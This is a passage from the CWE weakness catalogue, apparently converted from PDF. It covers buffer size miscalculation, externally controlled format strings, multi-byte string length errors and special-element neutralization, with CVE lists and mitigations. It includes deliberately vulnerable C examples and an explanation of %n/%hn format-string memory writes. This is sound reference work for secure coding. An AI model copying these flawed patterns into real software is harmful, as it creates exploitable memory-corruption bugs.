    return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

**Example 4:**

The following code is intended to read an incoming packet from a socket and extract one or more headers.

Example Language: C

(Bad)

```
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
```

```
headers = malloc(numHeaders * sizeof(PacketHeader);
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, `numHeaders` is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as `-3`, then the `malloc` calculation will generate a negative number (say, `-300` if each header can be a maximum of 100 bytes). When this result is provided to `malloc()`, it is first converted to a `size_t` type. This conversion then produces a large value such as `4294966996`, which may cause `malloc()` to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick `malloc()` into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

#### Example 5:

The following code attempts to save three different identification numbers into an array. The array is allocated from memory using a call to `malloc()`.

Example Language: C

(Bad)

```
int *id_sequence;
/* Allocate space for an array of three ids. */
id_sequence = (int*) malloc(3);
if (id_sequence == NULL) exit(1);
/* Populate the id array. */
id_sequence[0] = 13579;
id_sequence[1] = 24680;
id_sequence[2] = 97531;
```

The problem with the code above is the value of the size parameter used during the `malloc()` call. It uses a value of `'3'` which by definition results in a buffer of three bytes to be created. However the intention was to create a buffer that holds three ints, and in C, each int requires 4 bytes worth of memory, so an array of 12 bytes is needed, 4 bytes for each int. Executing the above code could result in a buffer overflow as 12 bytes of data is being saved into 3 bytes worth of allocated space. The overflow would occur during the assignment of `id_sequence[0]` and would continue with the assignment of `id_sequence[1]` and `id_sequence[2]`.

The `malloc()` call could have used `'3*sizeof(int)'` as the value for the size parameter in order to allocate the correct amount of space required to store the three ints.

#### Observed Examples

Reference	Description
<b>CVE-2020-17087</b>	Chain: integer truncation (CWE-197) causes small buffer allocation (CWE-131) leading to out-of-bounds write (CWE-787) in kernel pool, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-17087">https://www.cve.org/CVERecord?id=CVE-2020-17087</a>
<b>CVE-2004-1363</b>	substitution overflow: buffer overflow using environment variables that are expanded after the length check is performed <a href="https://www.cve.org/CVERecord?id=CVE-2004-1363">https://www.cve.org/CVERecord?id=CVE-2004-1363</a>
<b>CVE-2004-0747</b>	substitution overflow: buffer overflow using expansion of environment variables <a href="https://www.cve.org/CVERecord?id=CVE-2004-0747">https://www.cve.org/CVERecord?id=CVE-2004-0747</a>
<b>CVE-2005-2103</b>	substitution overflow: buffer overflow using a large number of substitution strings <a href="https://www.cve.org/CVERecord?id=CVE-2005-2103">https://www.cve.org/CVERecord?id=CVE-2005-2103</a>
<b>CVE-2005-3120</b>	transformation overflow: product adds extra escape characters to incoming data, but does not account for them in the buffer length <a href="https://www.cve.org/CVERecord?id=CVE-2005-3120">https://www.cve.org/CVERecord?id=CVE-2005-3120</a>
<b>CVE-2003-0899</b>	transformation overflow: buffer overflow when expanding ">" to "&gt;", etc. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0899">https://www.cve.org/CVERecord?id=CVE-2003-0899</a>

Reference	Description
<b>CVE-2001-0334</b>	expansion overflow: buffer overflow using wildcards <a href="https://www.cve.org/CVERecord?id=CVE-2001-0334">https://www.cve.org/CVERecord?id=CVE-2001-0334</a>
<b>CVE-2001-0248</b>	expansion overflow: long pathname + glob = overflow <a href="https://www.cve.org/CVERecord?id=CVE-2001-0248">https://www.cve.org/CVERecord?id=CVE-2001-0248</a>
<b>CVE-2001-0249</b>	expansion overflow: long pathname + glob = overflow <a href="https://www.cve.org/CVERecord?id=CVE-2001-0249">https://www.cve.org/CVERecord?id=CVE-2001-0249</a>
<b>CVE-2002-0184</b>	special characters in argument are not properly expanded <a href="https://www.cve.org/CVERecord?id=CVE-2002-0184">https://www.cve.org/CVERecord?id=CVE-2002-0184</a>
<b>CVE-2004-0434</b>	small length value leads to heap overflow <a href="https://www.cve.org/CVERecord?id=CVE-2004-0434">https://www.cve.org/CVERecord?id=CVE-2004-0434</a>
<b>CVE-2002-1347</b>	multiple variants <a href="https://www.cve.org/CVERecord?id=CVE-2002-1347">https://www.cve.org/CVERecord?id=CVE-2002-1347</a>
<b>CVE-2005-0490</b>	needs closer investigation, but probably expansion-based <a href="https://www.cve.org/CVERecord?id=CVE-2005-0490">https://www.cve.org/CVERecord?id=CVE-2005-0490</a>
<b>CVE-2004-0940</b>	needs closer investigation, but probably expansion-based <a href="https://www.cve.org/CVERecord?id=CVE-2004-0940">https://www.cve.org/CVERecord?id=CVE-2004-0940</a>
<b>CVE-2008-0599</b>	Chain: Language interpreter calculates wrong buffer size (CWE-131) by using "size = ptr ? X : Y" instead of "size = (ptr ? X : Y)" expression. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0599">https://www.cve.org/CVERecord?id=CVE-2008-0599</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2139
MemberOf	<b>C</b>	802	2010 Top 25 - Risky Resource Management	800	2148
MemberOf	<b>C</b>	865	2011 Top 25 - Risky Resource Management	900	2165
MemberOf	<b>C</b>	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2170
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327
MemberOf	<b>C</b>	974	SFP Secondary Cluster: Incorrect Buffer Length Computation	888	2199
MemberOf	<b>C</b>	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	2249
MemberOf	<b>C</b>	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2251

### Notes

#### Maintenance

This is a broad category. Some examples include: simple math errors, incorrectly updating parallel counters, not accounting for size differences when "transforming" one input to another format (e.g. URL canonicalization or other transformation that can generate a result that's larger than the original input, i.e. "expansion"). This level of detail is rarely available in public reports, so it is difficult to find good examples.

#### Maintenance

This weakness may be a composite or a chain. It also may contain layering or perspective differences. This issue may be associated with many different types of incorrect calculations (CWE-682), although the integer overflow (CWE-190) is probably the most prevalent. This can be primary to resource consumption problems (CWE-400), including uncontrolled memory

allocation (CWE-789). However, its relationship with out-of-bounds buffer access (CWE-119) must also be considered.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Other length calculation error
CERT C Secure Coding	INT30-C	Imprecise	Ensure that unsigned integer operations do not wrap
CERT C Secure Coding	MEM35-C	CWE More Abstract	Allocate sufficient memory for an object

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
47	Buffer Overflow via Parameter Expansion
100	Overflow Buffers

### References

[REF-106]David LeBlanc and Niels Dekker. "SafeInt". < <http://safeint.codeplex.com/> >.

[REF-107]Jason Lam. "Top 25 Series - Rank 18 - Incorrect Calculation of Buffer Size". 2010 March 9. SANS Software Security Institute. < <http://software-security.sans.org/blog/2010/03/19/top-25-series-rank-18-incorrect-calculation-of-buffer-size> >.

[REF-58]Michael Howard. "Address Space Layout Randomization in Windows Vista". < [http://blogs.msdn.com/michael\\_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx](http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx) >.

[REF-61]Microsoft. "Understanding DEP as a mitigation technology part 1". < <http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx> >.

[REF-60]"PaX". < <http://en.wikipedia.org/wiki/PaX> >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege> >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-64]Grant Murphy. "Position Independent Executables (PIE)". 2012 November 8. Red Hat. < <https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/> >.

## CWE-134: Use of Externally-Controlled Format String

**Weakness ID** : 134

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses a function that accepts a format string as an argument, but the format string originates from an external source.

### Extended Description



When an attacker can modify an externally-controlled format string, this can lead to buffer overflows, denial of service, or data representation problems.

It should be noted that in some circumstances, such as internationalization, the set of format strings is externally controlled by design. If the source of these format strings is trusted (e.g. only contained in library files that are only modifiable by the system administrator), then the external control might not itself pose a vulnerability.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380
CanPrecede		123	Write-what-where Condition	310

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		133	String Errors	2101

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** C (Prevalence = Often)

**Language :** C++ (Prevalence = Often)

**Language :** Perl (Prevalence = Rarely)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	
	<i>Format string problems allow for information disclosure which can severely simplify exploitation of the program.</i>	
Integrity	Modify Memory	
Confidentiality	Execute Unauthorized Code or Commands	
Availability	<i>Format string problems can result in the execution of arbitrary code.</i>	

## Detection Methods

**Automated Static Analysis**

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

**Black Box**

Since format strings often occur in rarely-occurring erroneous conditions (e.g. for error message logging), they can be difficult to detect using black box methods. It is highly likely that many latent issues exist in executables that do not have associated source code (or equivalent source).

*Effectiveness = Limited*

**Automated Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis Cost effective for partial coverage: Binary / Bytecode simple extractor - strings, ELF readers, etc.

*Effectiveness = High*

**Manual Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

**Dynamic Analysis with Automated Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

**Dynamic Analysis with Manual Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial*

**Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

**Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer Cost effective for partial coverage: Warning Flags

*Effectiveness = High*

**Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

**Potential Mitigations****Phase: Requirements**



Choose a language that is not subject to this flaw.

### Phase: Implementation

Ensure that all format string functions are passed a static string which cannot be controlled by the user, and that the proper number of arguments are always sent to that function as well. If at all possible, use functions that do not support the %n operator in format strings. [REF-116] [REF-117]

### Phase: Build and Compilation

Run compilers and linkers with high warning levels, since they may detect incorrect usage.

## Demonstrative Examples

### Example 1:

The following program prints a string provided as an argument.

*Example Language: C*

*(Bad)*

```
#include <stdio.h>
void printWrapper(char *string) {
    printf(string);
}
int main(int argc, char **argv) {
    char buf[5012];
    memcpy(buf, argv[1], 5012);
    printWrapper(argv[1]);
    return (0);
}
```

The example is exploitable, because of the call to printf() in the printWrapper() function. Note: The stack buffer was added to make exploitation more simple.

### Example 2:

The following code copies a command line argument into a buffer using sprintf().

*Example Language: C*

*(Bad)*

```
int main(int argc, char **argv){
    char buf[128];
    ...
    sprintf(buf,128,argv[1]);
}
```

This code allows an attacker to view the contents of the stack and write to the stack using a command line argument containing a sequence of formatting directives. The attacker can read from the stack by providing more formatting directives, such as %x, than the function takes as arguments to be formatted. (In this example, the function takes no arguments to be formatted.) By using the %n formatting directive, the attacker can write to the stack, causing sprintf() to write the number of bytes output thus far to the specified argument (rather than reading a value from the argument, which is the intended behavior). A sophisticated version of this attack will use four staggered writes to completely control the value of a pointer on the stack.

### Example 3:

Certain implementations make more advanced attacks even easier by providing format directives that control the location in memory to read from or write to. An example of these directives is shown in the following code, written for glibc:

*Example Language: C*

*(Bad)*

```
printf("%d %d %1$d %1$d\n", 5, 9);
```

This code produces the following output: 5 9 5 5 It is also possible to use half-writes (%hn) to accurately control arbitrary DWORDS in memory, which greatly reduces the complexity needed to execute an attack that would otherwise require four staggered writes, such as the one mentioned in the first example.

### Observed Examples

Reference	Description
<b>CVE-2002-1825</b>	format string in Perl program <a href="https://www.cve.org/CVERecord?id=CVE-2002-1825">https://www.cve.org/CVERecord?id=CVE-2002-1825</a>
<b>CVE-2001-0717</b>	format string in bad call to syslog function <a href="https://www.cve.org/CVERecord?id=CVE-2001-0717">https://www.cve.org/CVERecord?id=CVE-2001-0717</a>
<b>CVE-2002-0573</b>	format string in bad call to syslog function <a href="https://www.cve.org/CVERecord?id=CVE-2002-0573">https://www.cve.org/CVERecord?id=CVE-2002-0573</a>
<b>CVE-2002-1788</b>	format strings in NNTP server responses <a href="https://www.cve.org/CVERecord?id=CVE-2002-1788">https://www.cve.org/CVERecord?id=CVE-2002-1788</a>
<b>CVE-2006-2480</b>	Format string vulnerability exploited by triggering errors or warnings, as demonstrated via format string specifiers in a .bmp filename. <a href="https://www.cve.org/CVERecord?id=CVE-2006-2480">https://www.cve.org/CVERecord?id=CVE-2006-2480</a>
<b>CVE-2007-2027</b>	Chain: untrusted search path enabling resultant format string by loading malicious internationalization messages <a href="https://www.cve.org/CVERecord?id=CVE-2007-2027">https://www.cve.org/CVERecord?id=CVE-2007-2027</a>

### Functional Areas

- Logging
- Error Handling
- String Processing

### Affected Resources

- Memory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2311
MemberOf	C	726	OWASP Top Ten 2004 Category A5 - Buffer Overflows	711	2130
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	2149
MemberOf	C	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	2155
MemberOf	C	865	2011 Top 25 - Risky Resource Management	900	2165
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2235
MemberOf	C	1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)	1133	2237
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2252

Nature	Type	ID	Name	V	Page
MemberOf	C	1179	SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)		1178 2258
MemberOf	C	1308	CISQ Quality Measures - Security		1305 2278
MemberOf	V	1340	CISQ Data Protection Measures		1340 2350

## Notes

### Applicable Platform

This weakness is possible in any programming language that support format strings.

### Other

While Format String vulnerabilities typically fall under the Buffer Overflow category, technically they are not overflowed buffers. The Format String vulnerability is fairly new (circa 1999) and stems from the fact that there is no realistic way for a function that takes a variable number of arguments to determine just how many arguments were passed in. The most common functions that take a variable number of arguments, including C-runtime functions, are the printf() family of calls. The Format String problem appears in a number of ways. A \*printf() call without a format specifier is dangerous and can be exploited. For example, printf(input); is exploitable, while printf(y, input); is not exploitable in that context. The result of the first call, used incorrectly, allows for an attacker to be able to peek at stack memory since the input string will be used as the format specifier. The attacker can stuff the input string with format specifiers and begin reading stack values, since the remaining parameters will be pulled from the stack. Worst case, this improper use may give away enough control to allow an arbitrary value (or values in the case of an exploit program) to be written into the memory of the running program. Frequently targeted entities are file names, process names, identifiers. Format string problems are a classic C/C++ issue that are now rare due to the ease of discovery. One main reason format string vulnerabilities can be exploited is due to the %n operator. The %n operator will write the number of characters, which have been printed by the format string therefore far, to the memory pointed to by its argument. Through skilled creation of a format string, a malicious user may use values on the stack to create a write-what-where condition. Once this is achieved, they can execute arbitrary code. Other operators can be used as well; for example, a %9999s operator could also trigger a buffer overflow, or when used in file-formatting functions like fprintf, it can generate a much larger output than intended.

### Research Gap

Format string issues are under-studied for languages other than C. Memory or disk consumption, control flow or variable alteration, and data corruption may result from format string exploitation in applications written in other languages such as Perl, PHP, Python, etc.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Format string vulnerability
7 Pernicious Kingdoms			Format String
CLASP			Format string problem
CERT C Secure Coding	FIO30-C	Exact	Exclude user input from format strings
CERT C Secure Coding	FIO47-C	CWE More Specific	Use valid format strings
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
WASC	6		Format String
The CERT Oracle Secure Coding Standard for Java (2011)	IDS06-J		Exclude user input from format strings
SEI CERT Perl Coding Standard	IDS30-PL	Exact	Exclude user input from format strings
Software Fault Patterns	SFP24		Tainted input to command

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCSM	ASCSM- CWE-134		

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
67	String Format Overflow in syslog()
135	Format String Injection

### References

- [REF-116]Steve Christey. "Format String Vulnerabilities in Perl Programs". < <http://www.securityfocus.com/archive/1/418460/30/0/threaded> >.
- [REF-117]Hal Burch and Robert C. Seacord. "Programming Language Format String Vulnerabilities". < <http://www.ddj.com/dept/security/197002914> >.
- [REF-118]Tim Newsham. "Format String Attacks". 2000 September 9. Guardent. < <http://www.thenewsh.com/~newsham/format-string-attacks.pdf> >.
- [REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.
- [REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.
- [REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.
- [REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

## CWE-135: Incorrect Calculation of Multi-Byte String Length

**Weakness ID** : 135

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not correctly calculate the length of strings that can contain wide or multi-byte characters.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1403

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	☐	133	String Errors	2101

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands	
Availability Confidentiality	<p><i>This weakness may lead to a buffer overflow. Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.</i></p> <p>Read Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory)</p> <p><i>Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</i></p>	
Confidentiality	<p>Read Memory</p> <p><i>In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.</i></p>	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Always verify the length of the string unit character.

#### Phase: Implementation

*Strategy = Libraries or Frameworks*

Use length computing functions (e.g. strlen, wcslen, etc.) appropriately with their equivalent type (e.g.: byte, wchar\_t, etc.)

### Demonstrative Examples

#### Example 1:

The following example would be exploitable if any of the commented incorrect malloc calls were used.

*Example Language: C*

*(Bad)*

```
#include <stdio.h>
#include <strings.h>
#include <wchar.h>
int main() {
    wchar_t wideString[] = L"The spazzy orange tiger jumped " \
    "over the tawny jaguar.";
    wchar_t *newString;
    printf("Strlen() output: %d\nWcslen() output: %d\n",
    strlen(wideString), wcslen(wideString));
    /* Wrong because the number of chars in a string isn't related to its length in bytes //
    newString = (wchar_t *) malloc(strlen(wideString));
    */
```

```

/* Wrong because wide characters aren't 1 byte long! //
newString = (wchar_t *) malloc(wcslen(wideString));
*/
/* Wrong because wcslen does not include the terminating null */
newString = (wchar_t *) malloc(wcslen(wideString) * sizeof(wchar_t));
/* correct! */
newString = (wchar_t *) malloc((wcslen(wideString) + 1) * sizeof(wchar_t));
/* ... */
}

```

The output from the printf() statement would be:

Example Language:

(Result)

```

Strlen() output: 0
Wcslen() output: 53

```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	734	2138
MemberOf	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	2161
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	974	SFP Secondary Cluster: Incorrect Buffer Length Computation	888	2199

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Improper string length checking
The CERT Oracle Secure Coding Standard for Java (2011)	FIO10-J		Ensure the array is filled when using read() to fill an array
Software Fault Patterns	SFP10		Incorrect Buffer Length Computation

### References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-138: Improper Neutralization of Special Elements

**Weakness ID** : 138

**Structure** : Simple

**Abstraction** : Class

### Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as control elements or syntactic markers when they are sent to a downstream component.



## Extended Description

Most languages and protocols have their own special elements such as characters and reserved words. These special elements can carry control implications. If product does not prevent external control or influence over the inclusion of such special elements, the control flow of the program may be altered from what was intended. For example, both Unix and Windows interpret the symbol < ("less than") as meaning "read input from a file".

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	707	Improper Neutralization	1440
ParentOf	E	140	Improper Neutralization of Delimiters	360
ParentOf	V	147	Improper Neutralization of Input Terminators	373
ParentOf	V	148	Improper Neutralization of Input Leaders	375
ParentOf	V	149	Improper Neutralization of Quoting Syntax	376
ParentOf	V	150	Improper Neutralization of Escape, Meta, or Control Sequences	377
ParentOf	V	151	Improper Neutralization of Comment Delimiters	380
ParentOf	V	152	Improper Neutralization of Macro Symbols	382
ParentOf	V	153	Improper Neutralization of Substitution Characters	384
ParentOf	V	154	Improper Neutralization of Variable Name Delimiters	385
ParentOf	V	155	Improper Neutralization of Wildcards or Matching Symbols	387
ParentOf	V	156	Improper Neutralization of Whitespace	389
ParentOf	V	157	Failure to Sanitize Paired Delimiters	391
ParentOf	V	158	Improper Neutralization of Null Byte or NUL Character	392
ParentOf	G	159	Improper Handling of Invalid Use of Special Elements	395
ParentOf	V	160	Improper Neutralization of Leading Special Elements	397
ParentOf	V	162	Improper Neutralization of Trailing Special Elements	400
ParentOf	V	164	Improper Neutralization of Internal Special Elements	403
ParentOf	E	464	Addition of Data Structure Sentinel	1047
ParentOf	G	790	Improper Filtering of Special Elements	1563

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2226

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Execute Unauthorized Code or Commands	
Integrity	Alter Execution Logic	
Availability	DoS: Crash, Exit, or Restart	
Other		

## Potential Mitigations

### Phase: Implementation

Developers should anticipate that special elements (e.g. delimiters, symbols) will be injected into input vectors of their product. One defense is to create an allowlist (e.g. a regular expression) that defines valid input according to the requirements specifications. Strictly filter any input that does not match against the allowlist. Properly encode your output, and quote any elements that have special meaning to the component with which you are communicating.

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

Use and specify an appropriate output encoding to ensure that the special elements are well-defined. A normal byte sequence in one encoding could be a special element in another.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

## Observed Examples

Reference	Description
<b>CVE-2001-0677</b>	Read arbitrary files from mail client by providing a special MIME header that is internally used to store pathnames for attachments. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0677">https://www.cve.org/CVERecord?id=CVE-2001-0677</a>
<b>CVE-2000-0703</b>	Setuid program does not cleanse special escape sequence before sending data to a mail program, causing the mail program to process those sequences. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0703">https://www.cve.org/CVERecord?id=CVE-2000-0703</a>
<b>CVE-2003-0020</b>	Multi-channel issue. Terminal escape sequences not filtered from log files. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0020">https://www.cve.org/CVERecord?id=CVE-2003-0020</a>

Reference	Description
<b>CVE-2003-0083</b>	Multi-channel issue. Terminal escape sequences not filtered from log files. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0083">https://www.cve.org/CVERecord?id=CVE-2003-0083</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf	<b>C</b>	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282

### Notes

#### Relationship

This weakness can be related to interpretation conflicts or interaction errors in intermediaries (such as proxies or application firewalls) when the intermediary's model of an endpoint does not account for protocol-specific special elements.

#### Relationship

See this entry's children for different types of special elements that have been observed at one point or another. However, it can be difficult to find suitable CVE examples. In an attempt to be complete, CWE includes some types that do not have any associated observed example.

